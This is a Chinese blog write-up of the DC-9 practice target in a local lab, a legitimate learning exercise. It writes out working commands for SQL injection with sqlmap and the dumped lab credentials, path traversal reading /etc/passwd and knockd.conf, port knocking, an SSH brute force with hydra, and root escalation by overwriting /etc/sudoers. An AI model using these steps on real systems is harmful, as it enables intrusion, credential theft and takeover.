dc-9打靶日记

1. nmap扫描

1.1 确认目标ip地址

1
sudo nmap -sN 192.168.48.0/24

image-20240623072943576

确定目标靶机ip:192.168.48.129

1.2 目标开放TCP端口

1
sudo nmap -sS --min-rate 10000 -p- 192.168.48.129 -oA nmapscan/tcpports

image-20240623073206696

开放的tcp端口只有80,那么就意味着我们可能没有什么别的途径了,只能通过http去反弹shell了

1.3 目标开放UDP端口

1
sudo nmap -sU --top-ports 20 192.168.48.129 -oA nmapscan/udpports

image-20240623073151838

1.4 开放TCP端口详细信息

1
sudo nmap -sT -sV -sC -O -p80 192.168.48.129 -oA nmapscan/tcp-Details

image-20240623073402921

Apache 2.4.38

操作系统:Linux3.2-4.9

1.5 nmap漏洞扫描

1
sudo nmap -script=vuln -p80 192.168.48.129 -oA nmapscan/vuln

image-20240623073721710

可能存在CSRF,具体待定,还是到时候访问页面看看吧

2. 信息检索

2.1 sql注入点

通过检索和测试最后找到了sql注入点,一般对于搜索框,存在sql注入的风险比较大,对于这个靶机的网址存在一个搜索,但是非常明显的是这个搜索不是通过get方式传输数据的,所以我们通过抓包可以知道是通过POST方式传输数据的;

image-20240623075331916

将其发送到重放器(Repeater)中进行测试,发现存在sql注入漏洞

搜索内容为‘Mary’ or 1=1#’仍可正常返回所有内容,可确定此处存在sql注入

image-20240623075453064

后续使用sqlmap工具对其进行注入即可

1
2
# sqlmap -u <POST提交URL> --data="<存在sql注入的参数变量>=<啥都行>"
sqlmap -u http://192.168.48.129/results.php --data="search=Mary"

image-20240623081058933

确实成功被检测到存在sql注入漏洞,接下来就是跟get方式一样的查看数据库内容

1
sqlmap -u http://192.168.48.129/results.php --data="search=1" --dbs

image-20240623081204544

1
sqlmap -u http://192.168.48.129/results.php --data="search=1" -D users --tables

image-20240623081244303

1
sqlmap -u http://192.168.48.129/results.php --data="search=1" -D users -T UserDetails --columns

image-20240623081320600

1
sqlmap -u http://192.168.48.129/results.php --data="search=1" -D users -T UserDetails -C username,password --dump

image-20240623081356342

| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0 |
额。。。。。上面没一个账号是能录Manage的,我真是服了

image-20240623083130401

顺便查查看刚才那个Staff数据库吧,也是职工数据库,不知道会有什么东西;与上述数据库查看的方式类似,最后在Staff数据库中的Users表中找到了admin用户的账户名和密码,但是密码经过加密

| admin | 856f5de590ef37314e7c3bdf6f8a66dc |

image-20240623083511468

通过sqlmap使用普遍密码后缀爆破加密密码,从而爆破出来了admin用户的密码

image-20240623083629943

username:admin password:transorbital1

image-20240623083858612

成功登录后台管理系统;

2.2 目录爆破

1
dirsearch -u http://192.168.48.129/

image-20240623085129871

似乎并没有扫出什么有用的目录,另辟蹊径吧

2.3 端口敲门保护SSH

参考链接:https://blog.csdn.net/weixin_48539059/article/details/130833674

通过查资料发现,Linux有个端口敲门的保护机制,通过nmap扫描也能找到22端口是过滤状态

1
sudo nmap -sS -p- 192.168.48.129

image-20240628171343999

登录后台管理系统的时候可以发现,似乎存在文件包含漏洞

image-20240628173146094

1
http://192.168.48.129/welcome.php?file=../../../../etc/passwd

image-20240628173209548

可以确认确实存在该漏洞,那么我们可以用来查看一下knockd的配置文件信息,以得到敲门端口的顺序

1
http://192.168.48.129/welcome.php?file=../../../../etc/knockd.conf

image-20240628173315106

因此我们可以得到通过敲门打开ssh端口22的访问端口顺序为:7469、8475、9842

因此我们通过以下指令打开端口22

1
nc -z 192.168.48.129 7469 8475 9842

现在可以看到22端口已经被打开了

image-20240628173615703

通过我们之前收集到的信息可以知道,我们在数据库中得到的一大串用户名和密码并未使用,可以尝试通过hydra工具来破解一下ssh试试

username.txt:

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

password.txt:

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

1
hydra -L username.txt -P password.txt -e ns 192.168.48.129 ssh

image-20240628174458899

成功爆破出三个账户:

username: chandlerb password: UrAG0D!

username: joeyt password: Passw0rd

username: janitor password: Ilovepeepee

通过ssh登录janitor账户查看内容时发现一个秘密文件夹.secrets-for-putin

image-20240628181038525

image-20240628181131563

发现在其中发现了一个密码文件,我们将这些密码加入密码字典,在对靶机进行一次ssh密码爆破

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

1
hydra -L username.txt -P password.txt -e ns 192.168.48.129 ssh

image-20240628181520704除了的三个用户以外,还找到了一个新的用户

username: fredf password: B4-Tru3-001

3. 提权

登录用户fredf后,通过以下命令查看,找到了一个具有root权限的文件

1
sudo -l

image-20240628183820326

找到了一个具有可执行权限的二进制文件,我们到相关目录进行执行

1
2
3
cd /opt/devstuff/dist/test/
ls
./test

image-20240628184335101

发现执行该二进制文件后,它跟我说了一个python文件的用法test.py,那么我们应该找到该文件,才能进行进一步的功能使用;那么其实也意味着该二进制文件应该是由该test.py文件编译出来的,我们先查看源码,了解该二进制文件的功能

1
find / -name test.py 2>/dev/null

image-20240628184634851

根据输出结果我们比较容易能够确认该test.py文件应该是/opt/devstuff/test.py,因为跟二进制文件在同一目录下

1
cat /opt/devstuff/test.py

image-20240628184747690

根据源码可知,该test.py文件的作用是读取第一个参数地址的文件内容,写入到第二个参数地址文件中

sudo配置文件/etc/sudoers详解及实战用法

通过对sudoers文件的了解,我们可以修改某一个用户的sudo命令的执行权限进行获取root权限

首先,我们创建一个文件并写入内容,然后通过具有root权限的可执行的二进制文件写入到/etc/sudoers文件中,实现对用户权限的获取

创建一个临时文件写入内容fredf ALL=(ALL:ALL) ALL

1
2
3
touch /tmp/test
echo "fredf ALL=(ALL:ALL) ALL" > /tmp/test
sudo ./test /tmp/test /etc/sudoers

image-20240628201147118

从而获得了执行sudo的权限

image-20240628201323268

因而拥有了root权限

image-20240628201237917

从而靶场也是成功通过啦!!!!

4. 总结

  1. 一些比较新颖的安全保护方案需要进一步的学习了解,比如今天学到的端口敲门保护方案
  2. 存在一些隐藏的文件夹不能够被直接看到可以通过ls命令的-a参数去查看
  3. 对于具有root权限的可执行文件需要格外注意,可能可以利用
  4. 对于一些linux系统的权限文件需要重点学习和关注,学会利用它们进行权限的获取

dc-9打靶日记
http://candyb0x.github.io/2024/06/28/dc-9打靶日记/
作者
Candy
发布于
2024年6月28日
更新于
2024年6月28日
许可协议